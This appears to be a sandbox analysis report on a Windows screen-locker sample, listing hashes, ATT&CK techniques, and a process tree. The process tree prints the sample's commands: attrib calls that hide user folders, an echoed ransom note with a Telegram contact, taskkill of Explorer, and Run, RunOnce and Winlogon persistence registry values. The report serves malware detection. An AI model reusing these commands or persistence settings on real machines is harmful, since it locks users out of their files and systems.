629e4bc76590ed757afef775380c607a99e35296b39d6f38ee889586a7476645

General

Target
последний винлокер.exe
Size 350KB
Sample260421-1mskhacv2j
SHA256 629e4bc76590ed757afef775380c607a99e35296b39d6f38ee889586a7476645
MD5 98eb38e48556e3e79ac8e6de4c2b8291
SHA1 d194281eba1f8eac64929f8032e162a4935bafb0
SHA512 c3707d23b4b9c53bc853c435124c6d90874ccc3941f97cef93926245e65a269a7ef420a27f871f99ff916ab55f398c317d03c0c6291444d0fc5691c9dd8d2685
SSDEEP 6144:niGwvocn96DTdLdEidImYjaDZHASULHPSiAOWd82UVWrSCpMW90KImQiXnqbFFO:niGwvFcDTHpmSDZHAPbSi/WcD
TLSH
T1D874BFA8232F49BEC6AF53B9E092120B07F1D127C953E7482C6EA4FD5A57704B712787
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion persistence

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\последний винлокер.exe\""	последний винлокер.exe

Adds Run key to start application 2 TTPs 13 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsInstaller = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\последний винлокер.exe\" -startup"	последний винлокер.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MSEdgeUpdateX = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\последний винлокер.exe\""	последний винлокер.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\System3264Wow = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\последний винлокер.exe\" --init"	последний винлокер.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\OneDrive10293 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\последний винлокер.exe\" /setup"	последний винлокер.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\WINDOWS = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\последний винлокер.exe\" --wininit"	последний винлокер.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_1 = "AWindowsService.exe"	последний винлокер.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_2 = "taskhost.exe"	последний винлокер.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_3 = "windowsx-c.exe"	последний винлокер.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_4 = "System.exe"	последний винлокер.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_5 = "_default64.exe"	последний винлокер.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_6 = "native.exe"	последний винлокер.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_7 = "ux-cryptor.exe"	последний винлокер.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_8 = "crypt0rsx.exe"	последний винлокер.exe

Drops desktop.ini file(s) 4 IoCs

description	ioc	Process
File opened for modification	C:\Users\Public\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	attrib.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3240	cmd.exe
1776	cmd.exe
3828	cmd.exe
2560	cmd.exe
3568	cmd.exe
4848	cmd.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
1520	taskkill.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
4828	последний винлокер.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4828	последний винлокер.exe
Token: SeDebugPrivilege	1520	taskkill.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 4828 wrote to memory of 4848	4828	последний винлокер.exe	85
PID 4828 wrote to memory of 3568	4828	последний винлокер.exe	86
PID 4828 wrote to memory of 2560	4828	последний винлокер.exe	87
PID 4828 wrote to memory of 3240	4828	последний винлокер.exe	88
PID 4828 wrote to memory of 1776	4828	последний винлокер.exe	89
PID 4828 wrote to memory of 3828	4828	последний винлокер.exe	90
PID 4828 wrote to memory of 1520	4828	последний винлокер.exe	91
PID 4848 wrote to memory of 904	4848	cmd.exe	112
PID 4848 wrote to memory of 4588	4848	cmd.exe	113
PID 1776 wrote to memory of 1996	1776	cmd.exe	114
PID 3568 wrote to memory of 1856	3568	cmd.exe	115
PID 3240 wrote to memory of 1528	3240	cmd.exe	116
PID 3828 wrote to memory of 4088	3828	cmd.exe	117
PID 2560 wrote to memory of 1812	2560	cmd.exe	118
PID 2560 wrote to memory of 5004	2560	cmd.exe	119
PID 3568 wrote to memory of 1576	3568	cmd.exe	120
PID 1776 wrote to memory of 1784	1776	cmd.exe	121
PID 3240 wrote to memory of 2548	3240	cmd.exe	122
PID 3828 wrote to memory of 4452	3828	cmd.exe	123

Views/modifies file attributes 1 TTPs 12 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1784	attrib.exe
5004	attrib.exe
1856	attrib.exe
1576	attrib.exe
2548	attrib.exe
4452	attrib.exe
904	attrib.exe
4588	attrib.exe
1996	attrib.exe
1528	attrib.exe
1812	attrib.exe
4088	attrib.exe

C:\Users\Admin\AppData\Local\Temp\последний винлокер.exe
"C:\Users\Admin\AppData\Local\Temp\последний винлокер.exe"
1⤵
- Modifies WinLogon for persistence
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4828
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @%username% 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4848
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:904
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:4588
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @%username% 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:3568
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:1856
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:1576
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @%username% 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2560
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:1812
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:5004
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @%username% 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:3240
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:1528
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:2548
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @%username% 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:1776
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:1996
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:1784
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @%username% 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:3828
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:4088
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:4452
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill.exe /im Explorer.exe /f
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1520

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

2

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Winlogon Helper DLL

1

T1547.004

Privilege Escalation

Boot or Logon Autostart Execution

2

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Winlogon Helper DLL

1

T1547.004

Defense Evasion

Hide Artifacts

2

T1564

Hidden Files and Directories

Modify Registry

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

info-Locker.txt

Path C:\Users\Admin\info-Locker.txt
Size 73B
SHA256 4991d06bbdd50d17a9f04ec1af5e30dc68b34241881c046017904aae325c9834
MD5 b2669b823478902fc7914c68df32cbae
SHA1 0376c1ccd535bb5ff1007cfb06cf5e2f1e548514
SHA512 ba15c9271993b620bbaa278f18c6f651d86699f0755b49f9a5c0067bc88d588dc7a2aae76b65c9e065a467848a1287a2e8e41ed5b36c7e15a3f6cc4e7bca211e
TLSH
T119A024003C1C53CC30D031F37D317014347CD40D70131C414500115310100C41DFF414
MD5 SHA1 SHA512 TLSH

Submit Download

info-Locker.txt

Path F:\info-Locker.txt
Size 73B
SHA256 538e767307256f3ad40a4c13c68191a48ba564121e9dadc4e1b1677f5a7bf049
MD5 311fad93353708292a8fefd26a887d56
SHA1 8ac16070fc663c02fb9c5a5caaa08502479171b3
SHA512 734477261ed044d8e50c22e0edc54dd505ed0c8e771c1a4703f2d996c868195f20e8040edf7f702f723d6684a966a677a7856fa4e15ae039c0b983ea75ca7531
TLSH
T1E6A024103C1C57C430D410F37D317000347CD41D30131C434510115310300C01DFF410
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4828-0-0x00000000008E0000-0x000000000093E000-memory.dmp

Download

memory/4828-1-0x000000001B6D0000-0x000000001B6E0000-memory.dmp

Download

memory/4828-17-0x0000000002990000-0x000000000299C000-memory.dmp

Download

memory/4828-19-0x000000001B6D0000-0x000000001B6E0000-memory.dmp

Download

memory/4828-18-0x000000001B8C0000-0x000000001B9D5000-memory.dmp

Download

memory/4828-29-0x000000001B8C0000-0x000000001B9D5000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads